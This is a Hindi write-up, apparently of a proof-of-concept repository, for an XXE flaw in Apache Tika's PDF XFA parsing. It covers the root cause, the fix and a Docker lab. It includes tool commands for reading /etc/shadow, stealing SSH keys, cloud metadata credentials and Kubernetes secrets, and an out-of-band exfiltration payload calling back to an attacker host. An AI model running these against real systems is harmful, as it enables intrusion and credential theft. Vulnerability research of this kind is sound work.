CVE-2025-66516: Apache Tika में क्रिटिकल XXE भेद्यता

कार्यकारी सारांश

CVE-2025-66516 Apache Tika में एक क्रिटिकल XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन भेद्यता है जिसका CVSS स्कोर 10.0 (अधिकतम गंभीरता) है। यह भेद्यता रिमोट हमलावरों को विशेष रूप से तैयार की गई PDF दस्तावेज़ अपलोड करके मनमानी फ़ाइलें पढ़ने, सर्वर-साइड रिक्वेस्ट फोर्जरी (SSRF) करने और संवेदनशील डेटा चुराने की अनुमति देती है जिसमें दुर्भावनापूर्ण XFA (XML Forms Architecture) सामग्री होती है।

प्रभावित संस्करण

महत्वपूर्ण: यह CVE, CVE-2025-54988 को प्रतिस्थापित करता है, जिसने गलत तरीके से केवल PDF मॉड्यूल को भेद्य बताया था। वास्तविक भेद्यता tika-core में स्थित है।

तकनीकी विश्लेषण

भेद्यता

यह एक XML एक्सटर्नल एंटिटी (XXE) इंजेक्शन दोष है जिसमें Apache Tika PDF दस्तावेज़ों में XFA (XML Forms Architecture) डेटा को संसाधित करता है।

समस्या: Tika XFA XML सामग्री को पढ़ने के लिए अंतर्निहित Java XML पार्सर (विशेष रूप से एक StAX पार्सर) पर निर्भर करता है। भेद्य संस्करण बाहरी एंटिटी रिज़ॉल्यूशन को अक्षम करने के लिए पार्सर को सही ढंग से कॉन्फ़िगर करने में विफल रहे। जब पार्सर एक बाहरी एंटिटी अनुरोध (जैसे SYSTEM "file:///etc/passwd") का सामना करता है, तो यह फ़ाइल सामग्री को हल करता है और वापस करता है।

स्थान: बग XMLReaderUtils.getXMLInputFactory() में tika-core में मौजूद है:

public static XMLInputFactory getXMLInputFactory() {
    XMLInputFactory factory = XMLInputFactory.newFactory();
    tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
    tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
    factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER);  // <-- अप्रभावी
    return factory;
}

IGNORING_STAX_ENTITY_RESOLVER को XXE को रोकने के लिए खाली परिणाम लौटाने के लिए डिज़ाइन किया गया था, लेकिन इसने अपेक्षित InputStream के बजाय एक String लौटाया। JDK के डिफ़ॉल्ट StAX पार्सर ने इस गलत रिटर्न प्रकार को चुपचाप अनदेखा कर दिया और डिफ़ॉल्ट व्यवहार पर वापस आ गया, जो बाहरी एंटिटी को हल करता है।

समाधान (Tika 3.2.2)

समाधान फ़ैक्टरी स्तर पर DTD और बाहरी एंटिटी समर्थन को स्पष्ट रूप से अक्षम करता है:

tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);

इसके अतिरिक्त, रिज़ॉल्वर को एक उचित InputStream प्रकार लौटाने के लिए बदल दिया गया।

आकस्मिक Woodstox सुरक्षा

Java इकोसिस्टम में, एकाधिक XML पार्सर लाइब्रेरी मौजूद हैं। एप्लिकेशन उस पार्सर का उपयोग करते हैं जो कॉन्फ़िगर किया गया है या क्लासपाथ पर सबसे पहले पाया जाता है।

Woodstox क्या है? Woodstox एक उच्च-प्रदर्शन, ओपन-सोर्स StAX XML पार्सर है जो आमतौर पर Java एप्लिकेशन के साथ बंडल किया जाता है।

यह सुरक्षा कैसे प्रदान करता है: डिज़ाइन द्वारा (दुर्घटना से नहीं), Woodstox का कार्यान्वयन XMLResolver रिटर्न प्रकार को सही ढंग से संभालता है। जब Woodstox को IGNORING_STAX_ENTITY_RESOLVER से स्ट्रिंग रिटर्न मान प्राप्त होता है, तो यह इसे मान्य खाली सामग्री के रूप में मानता है, प्रभावी रूप से XXE को अवरुद्ध करता है।

महत्वपूर्ण अंतर:

• tika-server-standard.jar Woodstox को बंडल करता है - भेद्य नहीं
• tika-core + पार्सर मॉड्यूल (एम्बेडेड उपयोग) Woodstox को बंडल नहीं करता - भेद्य
• JDK के डिफ़ॉल्ट StAX पार्सर का उपयोग करने वाले एप्लिकेशन - भेद्य

त्वरित आरंभ

भेद्यता का परीक्षण करें

# 1. प्रयोगशाला वातावरण प्रारंभ करें
docker-compose up -d --build

# 2. भेद्य Tika के विरुद्ध परीक्षण करें (JDK StAX, पोर्ट 9997)
python poc/exploit.py --url http://localhost:9997 --check

# 3. /etc/passwd निकालें
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd

# 4. संरक्षित Tika से तुलना करें (Woodstox, पोर्ट 9998)
python poc/exploit.py --url http://localhost:9998 --check

प्रयोगशाला वातावरण

निर्देशिका संरचना

CVE-2025-66516/
|-- docker-compose.yml              # प्रयोगशाला ऑर्केस्ट्रेशन
|-- vulnerable-tika/
|   |-- Dockerfile                  # Woodstox के साथ Tika (संरक्षित)
|   +-- Dockerfile.jdk-stax         # Woodstox के बिना Tika (भेद्य)
|-- webapp/
|   |-- Dockerfile
|   |-- app.py                      # Flask अपलोड एप्लिकेशन
|   +-- templates/
|-- poc/
|   |-- exploit.py                  # स्वचालित शोषण उपकरण
|   +-- generate_payload.py         # दुर्भावनापूर्ण PDF जनरेटर
+-- README.md

सेवाएँ

प्रयोगशाला प्रारंभ करना

docker-compose up -d --build

प्रूफ ऑफ कॉन्सेप्ट उपकरण

1. स्वचालित शोषण उपकरण (exploit.py)

स्वचालित पेलोड जनरेशन और डेटा निष्कर्षण के साथ पूर्ण-श्रृंखला शोषण।

# जांचें कि लक्ष्य भेद्य है या नहीं
python poc/exploit.py --url http://target:9998 --check

# स्थानीय फ़ाइलें पढ़ें
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow

# AWS मेटाडेटा चोरी (EC2 इंस्टेंसेज़)
python poc/exploit.py --url http://target:9998 --aws-metadata

# Kubernetes रहस्य
python poc/exploit.py --url http://target:9998 --k8s-secrets

# आंतरिक सेवाओं के लिए SSRF
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin

# निकाले गए डेटा को सहेजें
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt

2. पेलोड जनरेटर (generate_payload.py)

मैन्युअल परीक्षण या अन्य उपकरणों के साथ एकीकरण के लिए दुर्भावनापूर्ण PDF फ़ाइलें उत्पन्न करता है।

# विशिष्ट फ़ाइल के लिए पेलोड उत्पन्न करें
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf

# SSRF पेलोड उत्पन्न करें
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf

# OOB एक्सफ़िल्ट्रेशन पेलोड उत्पन्न करें
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf

# हमला मोड प्रीसेट का उपयोग करें
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/

# उपलब्ध हमला मोड सूचीबद्ध करें
python poc/generate_payload.py --list-modes

उपलब्ध हमला मोड:

• file_read - स्थानीय फ़ाइलें पढ़ें (/etc/passwd, /etc/shadow, आदि)
• ssh_keys - SSH निजी कुंजियाँ चुराएँ
• aws_metadata - AWS EC2 मेटाडेटा और IAM क्रेडेंशियल्स
• gcp_metadata - GCP सेवा खाता टोकन
• azure_metadata - Azure प्रबंधित पहचान टोकन
• k8s_secrets - Kubernetes सेवा खाता क्रेडेंशियल्स
• webapp_configs - सामान्य वेब एप्लिकेशन कॉन्फ़िगरेशन
• ssrf_internal - आंतरिक सेवाओं की जाँच करें

परीक्षण परिणाम

भेद्य कॉन्फ़िगरेशन (JDK StAX - Woodstox नहीं)

Tika 2.9.2 के विरुद्ध Woodstox के बिना परीक्षण (एम्बेडेड तैनाती का अनुकरण):

शोषण का प्रमाण:

<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

संरक्षित कॉन्फ़िगरेशन (Woodstox StAX)

Tika 2.9.2 के विरुद्ध Woodstox के साथ परीक्षण (मानक tika-server-standard.jar):

आउटपुट खाली एंटिटी दिखाता है:

<li fieldName="data">data: </li>

निष्कर्ष

भेद्यता वास्तविक और क्रिटिकल है। शोषण StAX कार्यान्वयन पर निर्भर करता है:

• [संरक्षित] tika-server-standard.jar - बंडल Woodstox XXE को रोकता है
• [भेद्य] एम्बेडेड Tika (tika-core + parsers) - डिफ़ॉल्ट रूप से JDK StAX का उपयोग करता है
• [भेद्य] Woodstox के बिना कस्टम तैनाती
• [भेद्य] एंटरप्राइज़ एकीकरण (Elasticsearch, Solr, Alfresco) - अक्सर एम्बेडेड Tika का उपयोग करते हैं

XXE हमले की क्षमताएँ

XXE मूल रूप से फ़ाइल पढ़ने/SSRF भेद्यता है, प्रत्यक्ष RCE नहीं। हालाँकि, यह कई हमले पथ सक्षम करता है:

प्रत्यक्ष हमले

RCE तक वृद्धि

उपचार

तत्काल कार्रवाई

1. Apache Tika को संस्करण 3.2.2 या बाद में अपग्रेड करें

   root@kitploit:~

   <dependency>
       <groupId>org.apache.tika</groupId>
       <artifactId>tika-core</artifactId>
       <version>3.2.2</version>
   </dependency>
   

2. सभी Tika घटकों को अपडेट सत्यापित करें (tika-core और पार्सर मॉड्यूल)

जोखिम मूल्यांकन

गहराई में रक्षा

1. इनपुट सत्यापन - अपलोड की गई फ़ाइल प्रकारों को मान्य करें
2. नेटवर्क विभाजन - Tika प्रसंस्करण को अलग करें
3. न्यूनतम विशेषाधिकार - न्यूनतम फ़ाइलसिस्टम अनुमतियाँ
4. निगरानी - असामान्य फ़ाइल पहुँच पर सतर्क करें

अनुसंधान यात्रा

सामना की गई समस्याएँ

समस्या 1: प्रारंभिक शोषण काम नहीं कर रहा था

• XFA का पता चला लेकिन XXE कभी ट्रिगर नहीं हुआ
• पेलोड संरचना को डीबग करने में समय बिताया

समस्या 2: एकाधिक XML घोषणा त्रुटि

• त्रुटि: WstxParsingException: Illegal processing instruction target ("xml")
• कारण: प्रत्येक XFA स्ट्रीम में XML घोषणाएँ शामिल थीं
• समाधान: केवल प्रस्तावना में घोषणा शामिल करें, उप-स्ट्रीम में नहीं

समस्या 3: Woodstox रहस्य

• सभी पेलोड tika-server-standard.jar के विरुद्ध विफल रहे
• पता चला कि Woodstox बंडल किया गया था और XXE को रोक रहा था
• Woodstox के बिना परीक्षण करने के लिए Dockerfile.jdk-stax बनाया

समस्या 4: गलत कॉन्फ़िगरेशन का परीक्षण

• संरक्षित कॉन्फ़िगरेशन पर समय बर्बाद किया
• सीख: परीक्षण से पहले पूर्ण निर्भरता वृक्ष को समझें

सीखे गए सबक

1. CVSS स्कोर को संदर्भ की आवश्यकता होती है - पर्यावरणीय कारक शोषण क्षमता को प्रभावित करते हैं
2. न्यूनतम कॉन्फ़िगरेशन का परीक्षण करें - बंडल निर्भरता न मानें
3. XML पार्सर बहुत भिन्न होते हैं - विभिन्न पार्सर के साथ समान कोड अलग व्यवहार करता है
4. एम्बेडेड != सर्वर - लाइब्रेरी उपयोग में अक्सर अलग निर्भरताएँ होती हैं
5. त्रुटि संदेश सुराग होते हैं - पार्सर अपवाद कार्यान्वयन विवरण प्रकट करते हैं

संदर्भ

• Apache Tika सुरक्षा सलाहकार
• फिक्स कमिट
• NVD प्रविष्टि
• Apache Tika मेलिंग सूची चर्चा

समयरेखा

अस्वीकरण

यह प्रयोगशाला वातावरण और प्रूफ-ऑफ-कॉन्सेप्ट कोड अधिकृत सुरक्षा परीक्षण, शैक्षिक उद्देश्यों और रक्षात्मक अनुसंधान के लिए प्रदान किया गया है।

स्पष्ट लिखित प्राधिकरण के बिना इन उपकरणों का सिस्टम के विरुद्ध उपयोग न करें।

लाइसेंस

यह शोध सामग्री शैक्षिक उद्देश्यों के लिए प्रदान की गई है। जिम्मेदारी से उपयोग करें।